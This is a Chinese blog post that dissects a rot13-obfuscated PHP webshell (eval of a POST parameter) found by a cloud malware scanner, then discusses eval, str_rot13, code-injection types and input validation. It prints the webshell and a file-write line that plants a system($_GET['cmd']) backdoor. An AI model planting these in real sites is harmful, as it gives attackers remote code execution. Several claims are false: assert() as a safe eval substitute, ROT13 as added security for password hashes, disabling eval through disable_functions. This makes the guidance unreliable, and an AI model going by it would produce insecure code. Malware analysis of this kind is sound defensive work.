从腾讯云的恶意文件查杀学习下PHP的eval函数
问题来自于腾讯云的主机安全通知:
🚀一键接入,畅享GPT及AI大模型服务!【顶级API中转品牌】:
https://api.ablai.top/
病毒文件副本内容如下:
<?php function x($x){eval($x);}x(str_rot13('riny($_CBFG["noh"]);'));echo'xrok';
这段代码涉及两个PHP函数:eval()
和 str_rot13()
。下面是对这段代码的详细解释:
代码解析
<?php
function x($x){eval($x);
}
x(str_rot13('riny($_CBFG["noh"]);'));
echo 'xrok';
?>
- 定义函数
x
:
function x($x){eval($x);}
- 这里定义了一个名为
x
的函数,该函数接受一个参数$x
。 - 函数内部调用了
eval($x)
,这意味着传入的字符串$x
将被当作PHP代码执行。
- 调用函数
x
并传入参数:
x(str_rot13('riny($_CBFG["noh"]);'));
- 这里调用了函数
x
,并传入了一个经过str_rot13
编码的字符串'riny($_CBFG["noh"]);'
。 str_rot13
函数会对字符串中的每个字母进行替换,将当前字母后移13个位置。因此,'riny($_CBFG["noh"]);'
经过str_rot13
解码后变为'eval($_POST["pwd"]);'
。
- 执行解码后的代码:
- 由于
x
函数内部调用了eval
,因此解码后的字符串'eval($_POST["pwd"]);'
将被当作PHP代码执行。 - 这意味着如果通过POST请求传递了一个名为
pwd
的参数,该参数的值将被当作PHP代码执行。
- 输出字符串 ‘xrok’:
echo 'xrok';
- 最后,代码输出字符串
'xrok'
。
安全风险
- 代码注入:
- 由于
eval
函数会执行传入的字符串作为PHP代码,如果传入的字符串来自不可信的来源(例如用户输入),则可能导致严重的安全问题,如代码注入攻击。 - 例如,如果通过POST请求传递了一个恶意的
pwd
参数,例如?pwd=unlink('important_file.php');
,则该文件将被删除。
总结
这段代码的主要功能是通过 eval
函数执行经过 str_rot13
编码的字符串。然而,这种做法存在严重的安全风险,特别是当传入的字符串来自不可信的来源时。因此,在实际应用中应谨慎使用 eval
函数,并确保输入数据的安全性。
表格总结
函数名 | 描述 | 示例 |
---|---|---|
eval() | 将字符串作为PHP代码执行 | eval('echo "Hello, World!";'); |
str_rot13() | 对字符串执行ROT13编码 | str_rot13('Hello, World!'); // 输出: Uryyb, Jbeyq! |
通过以上分析,可以看出这段代码的主要目的是执行动态生成的PHP代码,但同时也存在显著的安全风险。
如何安全地使用PHP的eval()
函数?
安全地使用PHP的eval()
函数需要遵循一系列严格的步骤和最佳实践。以下是一些关键点:
-
避免使用
eval()
:eval()
函数允许执行任意PHP代码,这带来了严重的安全风险,包括代码注入攻击、数据泄露、远程代码执行等。因此,如果可能,应尽量避免使用eval()
。
-
严格验证输入:
- 如果必须使用
eval()
,确保传递给eval()
的代码是经过严格验证的。所有输入数据都应进行清理和验证,以防止恶意代码注入。
- 如果必须使用
-
使用更安全的替代方案:
- 考虑使用其他内置函数或自定义函数来替代
eval()
。例如,可以使用create_function()
函数来进一步沙盒化表达式。此外,betterEval()
函数是一个改进的替代方案,它遵循正常的PHP标签约定,并在解析错误时抛出异常。
- 考虑使用其他内置函数或自定义函数来替代
-
限制代码执行范围:
- 确保在评估代码时,只允许访问必要的变量和函数。避免在全局命名空间中定义函数和类,以减少潜在的安全风险。
-
处理错误和异常:
- 在使用
eval()
时,应捕获并处理可能产生的错误和异常。从PHP 7开始,eval()
将抛出ParseError
异常,而不是返回false
。确保代码能够正确处理这些异常情况。
- 在使用
-
代码混淆和加密:
- 虽然完全保护代码是不可能的,但可以通过混淆或加密来隐藏代码内容。例如,使用
base64_encode()
函数对PHP代码进行编码,然后通过eval()
函数解码并执行。然而,这种方法仍需谨慎使用,因为eval()
本身存在安全风险。
- 虽然完全保护代码是不可能的,但可以通过混淆或加密来隐藏代码内容。例如,使用
-
定期审查和更新代码:
- 定期审查和更新代码,确保所有使用的
eval()
实例都符合最佳实践,并且没有新的安全漏洞出现。
- 定期审查和更新代码,确保所有使用的
总之,虽然eval()
是一个强大的工具,但其使用需谨慎,以避免潜在的安全风险。
str_rot13()
函数在PHP中的具体应用场景和安全性如何?
str_rot13()
函数在PHP中的具体应用场景和安全性如下:
具体应用场景
- 消息编码与解码:在命令调度器项目中,
str_rot13()
函数用于对消息进行编码和解码,以保护消息内容不被未授权用户查看。 - 密码哈希处理:在密码哈希生成器项目中,
str_rot13()
函数用于将密码哈希转换为ROT13编码,以便在数据库中存储和检索。 - 用户信息处理:在用户密码修改项目中,
str_rot13()
函数用于对数据库中的密码哈希进行ROT13编码,以增强安全性。 - 过滤器项目:在过滤器项目中,
str_rot13()
函数用于对输入数据进行ROT13编码,以防止恶意输入。 - 模板函数项目:在模板函数项目中,
str_rot13()
函数用于对地址进行ROT13编码,以保护用户隐私。 - 电子邮件标签项目:在电子邮件标签项目中,
str_rot13()
函数用于对电子邮件地址进行ROT13编码,以防止电子邮件地址被恶意利用。 - SVN用户文件项目:在SVN用户文件项目中,
str_rot13()
函数用于对密码哈希进行ROT13编码,以增强安全性。 - Cookie加密解密项目:在Cookie加密解密项目中,
str_rot13()
函数用于对加密的Cookie值进行ROT13解码,以确保Cookie的安全性。 - 过滤器链测试项目:在过滤器链测试项目中,
str_rot13()
函数用于对字符串进行ROT13编码,以测试过滤器链的功能。
安全性
str_rot13()
函数的安全性主要体现在其编码和解码的特性上。ROT13编码是一种简单的替换编码,将每个字母在字母表中向前移动13个位置,数字和非字母字符保持不变。这种编码方式虽然简单,但具有以下特点:
- 可逆性:编码和解码由同一个函数完成,传递一个已编码的字符串作为参数将返回原始字符串。
- 不可逆性:由于ROT13编码的简单性,它并不提供真正的加密保护。任何知道编码规则的人都可以轻松地解码信息。因此,它不适合用于需要高安全性的场景。
- 绕过机制:在某些情况下,利用
str_rot13()
函数可以绕过一些安全限制。例如,在PHP中,利用php://filter
中的string.rot13
过滤器可以去除exit
指令,从而绕过某些安全限制。
总结
str_rot13()
函数在PHP中主要用于简单的字符串编码和解码操作,适用于一些不需要高安全性的场景。然而,由于其编码方式的简单性和可逆性,它并不适合用于需要高安全性的应用。
PHP代码注入攻击的常见类型和防御策略有哪些?
PHP代码注入攻击是一种常见的安全威胁,主要通过在应用程序中注入恶意代码来实现远程代码执行(RCE)。以下是PHP代码注入攻击的常见类型及其防御策略:
常见类型
-
一句话木马:
- 利用函数:
eval()
、assert()
、system()
等。 - 攻击方式:通过这些函数执行任意代码,如
eval("system('id')");
。 - 防御方法:避免使用
eval()
函数,严格过滤输入,禁用assert()
函数。
- 利用函数:
-
获取文件当前绝对路径:
- 利用常量:
__FILE__
。 - 攻击方式:通过输出当前文件的绝对路径,获取服务器文件系统信息。
- 防御方法:不要直接输出
__FILE__
,确保文件路径不被暴露。
- 利用常量:
-
写文件:
- 利用函数:
file_put_contents()
。 - 攻击方式:通过写入恶意文件,如
file_put_contents('/var/[www/html/malware.php](https://www/html/malware.php) ',<?php system($_GET['cmd']); ?>');
。 - 防御方法:确保文件写入目录不可写,严格验证文件路径。
- 利用函数:
-
序列化数据反序列化漏洞:
- 利用弱类型比较:通过控制序列化数组中的值来注入SQL查询语句。
- 攻击方式:利用PHP的弱类型比较特性,绕过转义检查。
- 防御方法:避免使用宽松的比较运算符,确保数据类型正确。
防御策略
-
避免使用高危函数:
- eval()、assert()、system() 等函数容易被利用进行代码注入。应尽量避免使用这些函数,或在必要时进行严格的输入过滤。
-
严格过滤输入:
- 对所有用户输入进行严格的过滤和验证,确保输入数据符合预期格式和类型。
- 使用
intval()
、floatval()
、doubleval()
等函数进行类型转换和转义。
-
使用预处理语句和参数化查询:
- 使用PDO或MySQLi扩展的预处理语句和参数化查询,确保参数被当作普通字符处理,防止恶意SQL注入。
-
隐藏错误消息:
- 隐藏错误消息,防止攻击者通过错误信息获取系统信息或数据库结构。
-
定期代码审查和更新:
- 定期进行代码审查,及时修复已知漏洞。保持PHP和数据库管理系统的最新版本,以减少已知漏洞的风险。
-
使用安全扫描工具:
- 定期使用安全扫描工具检测代码中的潜在安全漏洞,并及时修复。
-
教育开发者:
- 提高开发者的安全意识,教育他们识别和防范常见的安全威胁,如XSS、CSRF等。
在PHP中,如何验证和清理用户输入以防止代码注入?
在PHP中,验证和清理用户输入以防止代码注入是确保Web应用程序安全的关键步骤。以下是一些具体的方法和实践:
-
使用
filter_var()
函数进行基本过滤:FILTER_SANITIZE_STRING
:用于移除HTML标签和特殊字符,确保输入数据的安全性。FILTER_VALIDATE_EMAIL
:用于验证电子邮件地址的格式是否正确。FILTER_VALIDATE_INT
:用于验证整数输入,确保其格式正确。FILTER_SANITIZE_URL
:用于过滤URL,移除非法URL字符。
示例代码:
$username = filter_var($_POST['username'], FILTER_SANITIZE_STRING);$password = filter_var($_POST['password'], FILTER_SANITIZE_STRING);if (strlen($username) > 50 || strlen($password) > 50) {die("Input too long.");}
- 使用正则表达式进行模式验证:
正则表达式可以用于验证用户输入是否符合特定的模式,例如确保用户名仅包含字母、数字和下划线。
$username = $_POST['username'];$username = filter_var($username, FILTER_SANITIZE_STRING);$username = filter_var($username, FILTER_VALIDATE_REGEXP, array("options" => array("regexp" => "/^[a-zA-Z0-9_]+$/")));if ($username === false) {echo "Invalid username.";} else {// 继续处理}
- 使用
htmlspecialchars()
函数转义输出数据:
在输出用户输入时,使用htmlspecialchars()
函数对特殊字符进行编码,防止脚本注入。
echo htmlspecialchars($userInput);
- 使用预处理语句和参数化查询:
在与数据库交互时,使用预处理语句和参数化查询,避免SQL注入攻击。
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");$stmt->execute(['username' => $username]);
- 限制输入长度:
对用户输入的长度设置合理限制,防止缓冲区溢出攻击。
if (strlen($input) > 100) {die("Input too long.");}
-
使用输入验证库:
考虑使用输入验证库,如PHP Filters或Respect Validation,简化并增强验证过程。 -
使用输入过滤库:
利用输入过滤库,如HTML Purifier,去除恶意代码,确保用户输入安全。
通过以上方法,可以有效防止代码注入攻击,提升PHP应用程序的整体安全性。
PHP中有哪些替代eval()
的安全函数或方法?
在PHP中,eval()
函数是一个强大的工具,但它也带来了显著的安全风险,因为它可以执行任意的PHP代码。为了避免这些安全风险,可以使用一些替代方法来代替eval()
函数。以下是一些推荐的替代方法:
call_user_func()
和call_user_func_array()
:- 这两个函数用于动态调用用户定义的函数或方法。它们比
eval()
更安全,因为只能调用受控的函数,而不是执行任意的代码。 - 示例:
- 这两个函数用于动态调用用户定义的函数或方法。它们比
$function_name = 'my_function';$arguments = array($arg1, $arg2);call_user_func_array($function_name, $arguments);
assert()
:assert()
函数用于检查表达式是否成立,如果结果为FALSE,则可以采取行动。它可以用来替代eval()
,但需要谨慎使用。- 示例:
assert($code);
betterEval()
:- 这是一个自定义的函数,旨在提供比
eval()
更安全的替代方案。它遵循正常的PHP标签约定,并在解析错误时抛出ParseError
异常。 - 示例:
- 这是一个自定义的函数,旨在提供比
function betterEval($code) {$tmp = tmpfile();$tmpf = stream_get_meta_data($tmp);$tmpf = $tmpf['uri'];fwrite($tmp, $code);$ret = include($tmpf);fclose($tmp);return $ret;}
- Reflection API:
- 反射API允许动态创建和调用函数,是处理动态代码的强大工具。虽然文档示例较少,但它提供了更安全和可读的替代方案。
- 示例:
$class = new ReflectionClass('MyClass');$method = $class->getMethod('myMethod');$method->setAccessible(true);$result = $method->invoke(new MyClass());
- 直接使用变量名:
- 如果只是需要将字符串转换为变量,可以直接使用变量名作为变量。这种方法避免了
eval()
函数的潜在风险,提供了更安全且更简单的解决方案。 - 示例:
- 如果只是需要将字符串转换为变量,可以直接使用变量名作为变量。这种方法避免了
$foo = "Hello, world!";$bar = "foo";echo $$bar; // 输出 "Hello, world!"
- 禁用
eval()
函数:- 在
php.ini
配置文件中禁用eval()
函数,以防止其被利用。这可以通过设置disable_functions
参数来实现。 - 示例:
- 在
; 在 php.ini 文件中添加以下行disable_functions = eval
总之,虽然eval()
函数在某些情况下是必要的,但应尽量避免使用它,以防止潜在的安全风险。
相关文章:
从腾讯云的恶意文件查杀学习下PHP的eval函数
问题来自于腾讯云的主机安全通知: 🚀一键接入,畅享GPT及AI大模型服务!【顶级API中转品牌】: https://api.ablai.top/ 病毒文件副本内容如下: <?php function x($x){eval($x);}x(str_rot13(riny($_CBF…...
OpenWRT——官方镜像安装Docker(网络环境需设置)并配置Sun-Panel
Pro更多功能预览地址https://pro.sun-panel.top/#/hpage/pro Github地址https://github.com/hslr-s/sun-panel?tabreadme-ov-file 首先确认宿主机网络环境符合要求 curl Google.com1.确认没问题后开始安装Docker opkg update opkg install dockerd docker luci-app-docker…...
MySQL 中的常见错误与排查
在 MySQL 数据库的日常运维中,管理员可能会遇到各种错误。无论是查询性能问题、连接异常、数据一致性问题,还是磁盘空间不足等,及时排查并解决这些问题是保证数据库稳定运行的关键。本文将列出 MySQL 中一些常见的错误及其排查方法。 一、连接…...
workman服务端开发模式-应用开发-gateway长链接端工作原理
一、长链接的工作原理 Register类其实也是基于基础的Worker开发的。Gateway进程和BusinessWorker进程启动后分别向Register进程注册自己的通讯地址,Gateway进程和BusinessWorker通过Register进程得到通讯地址后,就可以建立起连接并通讯了。而Gateway进程…...
8位移位寄存器的verilog语言
module shift_register (output reg [7:0] Q, // 8位移位寄存器输出input D, // 输入数据input rst, // 复位信号input clk // 时钟信号 );always (posedge clk) beginif (!rst)Q < 8b00000000; // 复位时将Q清零elseQ < {Q[6:0], D}; // 否则…...
Android学习(五)-Kotlin编程语言-面向对象中的 继承-构造函数-接口三模块学习
首先,我们需要定义一个 Person 类: open class Person {var name ""var age 0fun eat() {println("$name is eating.")} } 注意,Person 类前面加上了 open 关键字,表示这个类可以被继承。在 Kotlin 中&am…...
Java 集合框架中的 List、ArrayList 和 泛型 实例
— Java 集合框架中的 List、ArrayList 和 泛型 在 Java 中,集合框架提供了许多不同类型的集合类,用于存储和操作对象。List 和 ArrayList 是最常用的两种集合类型,而泛型(Generics)则是 Java 中的一项重要特性&…...
计算机网络-L2TP VPN基础概念与原理
一、概述 前面学习了GRE和IPSec VPN,今天继续学习另外一个也很常见的VPN类型-L2TP VPN。 L2TP(Layer 2 Tunneling Protocol) 协议结合了L2F协议和PPTP协议的优点,是IETF有关二层隧道协议的工业标准。L2TP是虚拟私有拨号网VPDN&…...
【Rust自学】4.4. 引用与借用
4.4.0 写在正文之前 这一节的内容其实就相当于C的智能指针移动语义在编译器层面做了一些约束。Rust中引用的写法通过编译器的约束写成了C中最理想、最规范的指针写法。所以学过C的人对这一章肯定会非常熟悉。 喜欢的话别忘了点赞、收藏加关注哦(加关注即可阅读全文…...
LLaMA-Factory 单卡3080*2 deepspeed zero3 微调Qwen2.5-7B-Instruct
环境安装 git clone https://gitcode.com/gh_mirrors/ll/LLaMA-Factory.gitcd LLaMA-Factorypip install -e ".[torch,metrics]"pip install deepspeed 下载模型 pip install modelscope modelscope download --model Qwen/Qwen2.5-7B-Instruct --local_dir /roo…...
[python SQLAlchemy数据库操作入门]-12.直接执行 SQL 语句处理股票数据
哈喽,大家好,我是木头左! 1. SQLAlchemy Core 简介 SQLAlchemy Core 是 SQLAlchemy 库的一个模块,它允许用户直接执行 SQL 语句而不必使用 ORM(对象关系映射)。对于需要精细控制 SQL 查询或处理复杂数据库操作的情况,SQLAlchemy Core 提供了一种灵活而强大的方式来与数…...
【Unity3D】实现可视化链式结构数据(节点数据)
关键词:UnityEditor、可视化节点编辑、Unity编辑器自定义窗口工具 使用Newtonsoft.Json、UnityEditor相关接口实现 主要代码: Handles.DrawBezier(起点,终点,起点切线向量,终点切线向量,颜色,n…...
C# WinForm移除非法字符的输入框
C# WinForm移除非法字符的输入框 文章目录 namespace System.Windows.Forms {using System.ComponentModel;/// <summary>/// 支持移除 非法字符 的输入框。/// </summary>public class RemoveInvalidCharTextBox : TextBox{/// <summary>/// 测试代码&#…...
linux安装宝塔面板及git
宝塔面板安装教程:https://www.bt.cn/new/download.html?bt_lybaidu&sdclkidALfs15q615oG15As&bd_vid9358688624393223862 Centos/OpenCloud/Alibaba稳定版9.0.0 urlhttps://download.bt.cn/install/install_lts.sh;if [ -f /usr/bin/curl ];then curl -s…...
GoTime#34期 Pachyderm, Provenance, Data Lakes
本篇内容是根据2017年2月份#34 Pachyderm, Provenance, Data Lakes音频录制内容的整理与翻译 Joe Doliner 加入了节目,谈论使用 Pachyderm 管理数据湖、数据容器、溯源(provenance) 以及其他有趣的 Go 项目和新闻。 Erik St. Martin: 大家好,欢迎收听新…...
数据库的三范式是什么?
第一范式(1NF) 每列的原子性,表中的每一个字段都是不可分割的,同一列中不能有多个值。第一范式是对关系模式的基本要求,不满足第一范式的数据库不是关系型数据库。 ・不满足第一范式的示例: 学生编号 学生…...
LOS/NLOS环境建模与三维TOA定位,MATLAB仿真程序,可自定义锚点数量和轨迹点长度
本代码的主要功能是建模 LOS(视距)和 NLOS(非视距)环境下的定位系统,估计目标的动态位置,三维空间 文章目录 运行结果源代码代码介绍 总结 运行结果 10个点的轨迹定位: 50个点的轨迹定位&#…...
css
已经学完html了,继续学习前端三剑客html、css、js之一的css。😀 1、什么是css css:用于网页结构的布局和修饰的一种样式脚本 层叠样式表:(英文全称:Cascading Style Sheets), 简称:样式表&…...
探索 Bokeh:轻松创建交互式数据可视化的强大工具
探索 Bokeh:轻松创建交互式数据可视化的强大工具 在数据科学和数据分析领域,交互式数据可视化是一项不可或缺的技能。Bokeh 是一个强大的 Python 库,它可以帮助我们快速构建高质量的交互式图表和仪表盘,同时兼具高性能和灵活性。…...
光谱相机在农业的应用
一、作物生长监测1、营养状况评估 原理:不同的营养元素在植物体内的含量变化会导致植物叶片或其他组织的光谱反射率特性发生改变。例如,氮元素是植物叶绿素的重要组成部分,植物缺氮时,叶绿素含量下降,其在可见光波段&a…...
SYD881X RTC定时器事件在调用timeAppClockSet后会出现比较大的延迟
RTC定时器事件在调用timeAppClockSet后会出现比较大的延迟 这里RTC做了两个定时器一个是12秒,一个是185秒: #define RTCEVT_NUM ((uint8_t) 0x02)//当前定时器事件数#define RTCEVT_12S ((uint32_t) 0x0000002)//定时器1s事件 /*整分钟定时器事件,因为其余的…...
【Java基础面试题026】Java中的String、StringBuffer和StringBuilder的区别是什么?
回答重点 他们都是Java中处理字符串的类,区别主要体现在可变性、线程安全和性能上 1)String 不可变:String是不可变类,字符串对象创建,存储在堆中,字符串内容存储在字符串常量池中,一旦创建内…...
Ajax中的axios
既然提到Ajax,那就先来说一说什么是Ajax吧 关于Ajax Ajax的定义 Asynchronous JavaScript And XML:异步的JavaScript和XML。 反正就是一句话总结: 使用XML HttpRequest 对象与服务器进行通讯。 AJAX 是一种在无需重新加载整个网页的情况下&…...
学习ASP.NET Core的身份认证(基于JwtBearer的身份认证3)
根据参考文献1中JWT Token的组成及计算方式,对照参考文献2中的界面,实现简单的JWT Token解析及验证程序,主要功能包括: 1)拆分Token字符串,将前两段使用Base64UrlEncoder类解码并转为UTF8字符串&#x…...
jmeter后端监视器
一、概述 JMeter 后端监听器(Backend Listener)是 JMeter 提供的一个功能强大的插件,用于将测试执行期间收集的性能数据发送到外部系统进行监控和分析。通过后端监听器,您可以实时地将 JMeter 测试执行期间收集的数据发送到外部系统,如图形化展示、数据库、数据分析工具等…...
vue CSS 自定义宽高 翻页 剥离 效果
新增需求,客户需要类似PPT的剥离效果用于WEB页面翻页,查找资料后,参考下方的掘金博主的文章,并将HTML修改成vue的页面进行使用。其中宽度、高度改成了变量,样式style中的属性与宽高的关系整理成了公式进行动态计算。 …...
函数:参数与返回值类型
本文我们将深入探讨 函数的参数和返回值类型,这是 TypeScript 中最常用的特性之一。了解如何为函数参数和返回值添加类型,不仅能帮助你避免常见的错误,还能提高代码的可读性和可维护性。 在 JavaScript 中,函数的参数和返回值是没…...
【学习总结|DAY022】Java网络编程
网络编程是Java开发中非常重要的一环,它允许程序与网络上的其他设备进行数据交互。本文将介绍Java网络编程的基础知识,包括网络编程三要素、UDP和TCP通信协议,以及BS架构的原理。 网络编程三要素 网络通信至少需要三个要素:IP地…...
帝国cms同一条信息使用不同的多个内容页模板伪静态实现教程
理论上可以实现一条信息使用无数个内容页模板,实现过程: 1、/e/action目录下新建bishun.php,内容如下: <?php require(../class/connect.php); require(../class/db_sql.php); require(../class/functions.php); require(..…...
解决Linux<云服务器>访问HuggingFace的问题(操作记录)
一、准备配置文件 cache.db clash config.yaml Country.mmdb(1)cache.db、clash的获取 链接:百度网盘 提取码:82t0 (2)config.yaml、Country.mmdb的获取 启动本地已安装的clash软件→找到“配置订阅”…...
selenium 报错 invalid argument: invalid locator
环境: Python3.12.2 selenium4.0 报错信息: invalid argument: invalid locator 错误分析: selenium语法错误,find_element方法少写By.XPATH参数 错误语法如下: driver.find_element(//div[id"myid"]) 解决办…...
springboot——登录认证(包括jwt技术、拦截器过滤器)
实现登录的原理 用户名和密码都输入正确,登录成功,否则,登录失败 登录功能的本质:查询,根据用户名和密码查询员工信息 实现登录的步骤 登录需要确定用户的id、username、name、token(用于 身份校验),对此要重新定义一个类LoginInfo public class LoginInfo {priva…...
【IN、NOT、AND、OR】在 MySql 中的使用方法,使用场景、注意事项
目录 IN NOT AND OR 注意事项: 使用场景: IN 用于指定某个字段的值在一个预定义的列表中。 SELECT * FROM users WHERE age IN (20, 25, 30);查询返回 age 字段 是20、25 、30 的用户记录。 NOT 用于对条件进行否定。 查询将返回与指定 条件相…...
html <a>设置发送邮件链接、打电话链接 <a href=“mailto:></a> <a href=“tel:></a>
1.代码 <ul><li>电话:<a href"tel:18888888888">188-8888-8888</a></li><li>邮箱:<a href"mailto:10000qq.com">10000qq.com</a></li><li>邮箱:<a hre…...
Mac上详细配置java开发环境和软件(更新中)
文章目录 概要JDK的配置JDK下载安装配置JDK环境变量文件 Idea的安装Mysql安装和配置Navicat Premium16.1安装安装Vscode安装和配置Maven配置本地仓库配置阿里云私服Idea集成Maven Cpolar快速入门 概要 这里使用的是M3型片 14.6版本的Mac 用到的资源放在网盘 链接: https://pan…...
游戏渠道假量解决方案
某推广公司在推广过程中被查出“短期内点击量激增”“存在同一地址多次访问”“已注册用户重复注册”等数据作弊行为,法院判罚退还服务费200余万元,并赔偿违约金约350万元。 某公司为提升其游戏在应用商店榜单排名,委托某网络公司进行下载、注…...
Java重要面试名词整理(二):SpringMyBatis
文章目录 Spring篇Spring核心推断构造方法AOP动态代理Advice的分类Advisor的理解AOP相关的概念 定义BeanASM技术JFR依赖注入循环依赖LifecycleSpring AOT Spring事务Spring事务传播机制Spring事务传播机制是如何实现的呢?Spring事务传播机制分类 SpringMVCHandlerHandlerMappi…...
powershell美化
powershell美化 写在前面 除了安装命令,其他都是测试命令,后续再写进配置文件 安装主题控件 安装主题oh-my-posh,powershell中执行 winget install JanDeDobbeleer.OhMyPosh -s winget oh-my-posh init pwsh | Invoke-Expression # 查看…...
D102【python 接口自动化学习】- pytest进阶之fixture用法
day102 pytest的usefixtures方法 学习日期:20241219 学习目标:pytest基础用法 -- pytest的usefixtures方法 学习笔记: fixture调用方法 实际应用 总结 pytest.mark.usefixtures(func),pytest的usefixtures方法,无…...
Excel生成DBC脚本源文件
Excel制作 新建一个Excel,后缀为“.xls” 工作本名称改为“CAN_Matrix” 在首行按照列来起名字,在里面只需要填写必须的内容即可。 列数名称第0列Message Name第1列Message Format第2列Message ID第3列Message Length (byte)第4列Message Transmitte…...
【Leetcode 每日一题】2545. 根据第 K 场考试的分数排序
问题背景 班里有 m m m 位学生,共计划组织 n n n 场考试。给你一个下标从 0 0 0 开始、大小为 m n m \times n mn 的整数矩阵 s c o r e score score,其中每一行对应一位学生,而 s c o r e [ i ] [ j ] score[i][j] score[i][j] 表示…...
Spring MVC(上)
上一篇博客的补充: 一般出现这种问题,我们就要检查版本了 我们需要查看这几个地方是否版本是对的 注意: jdk版本运行取决于什么? 1.通过cmd运行,jdk版本就是你设置的环境变量 2.通过Idea运行,取决于该项目设置的JDK版本 创建项目的方式: 1> 我们上个博客用idea进行创建 2…...
【优选算法---归并排序衍生题目】剑指offer51---数组中的逆序对、计算右侧小于当前元素的个数、翻转对
一、剑指offer51---数组中的逆序对 题目链接: LCR 170. 交易逆序对的总数 - 力扣(LeetCode) 题目介绍: 在数组中的两个数字,如果前面⼀个数字大于后面的数字,则这两个数字组成⼀个逆序对。输入一个数组,…...
单体到微服务:电商平台架构的演变与可扩展性探索
目录 一、整体理解可扩展性 二、从电商平台架构发展看架构的可扩展性 (一)单体架构 (二)分布式架构 (三)SOA架构 (四)微服务架构 三、1号店App服务端架构升级说明 ÿ…...
clickhouse-副本和分片
1、副本 1.1、概述 集群是副本和分片的基础,它将ClickHouse的服务拓扑由单节点延伸到多个节点,但它并不像Hadoop生态的某些系统那样,要求所有节点组成一个单一的大集群。ClickHouse的集群配置非常灵活,用户既可以将所有节点组成…...
C语言版解法力扣题:将整数按权重排序
1.题目描述 我们将整数 x 的 权重 定义为按照下述规则将 x 变成 1 所需要的步数: 如果 x 是偶数,那么 x x / 2 如果 x 是奇数,那么 x 3 * x 1 比方说,x3 的权重为 7 。因为 3 需要 7 步变成 1 (3 --> 10 -->…...
ubuntu18.04升级到ubuntu20.04
为了使用qt6,在ubuntu18.04上各种折腾失败,无奈只能升级到ubuntu20.04, 按照网上的教程没成功。自己摸索了 lsb_release -a df -h sudo apt update sudo apt upgrade -y sudo apt dist-upgrade -y sudo apt autoremove -y sudo apt clean sudo apt inst…...
【我的 PWN 学习手札】IO_FILE 之 stdin任意地址写
我们知道,stdin会往“缓冲区”先读入数据,如果我们劫持这个所谓“缓冲区”到其他地址呢?是否可以读入数据到任意地址?答案是肯定的。 注意!代码中的“-------”分隔,是为了区分一条调用链上不同代码片段&am…...
<mutex>注释 11:重新思考与猜测、补充锁的睡眠与唤醒机制,结合 linux0.11 操作系统代码的辅助(上)
(46)问题的起源: 因为上面的内核代码,我们编写多线程代码时,对手里的家伙事不那么自信。但我们知道,多线程在竞争锁时,若得不到锁,会进入睡眠,并会在被唤醒后重新尝试得…...
C/C++圣诞树
系列文章 序号直达链接1C/C爱心代码2C/C跳动的爱心3C/C李峋同款跳动的爱心代码4C/C满屏飘字表白代码5C/C大雪纷飞代码6C/C烟花代码7C/C黑客帝国同款字母雨8C/C樱花树代码9C/C奥特曼代码10C/C精美圣诞树11C/C俄罗斯方块12C/C贪吃蛇13C/C孤单又灿烂的神-鬼怪14C/C闪烁的爱心15C…...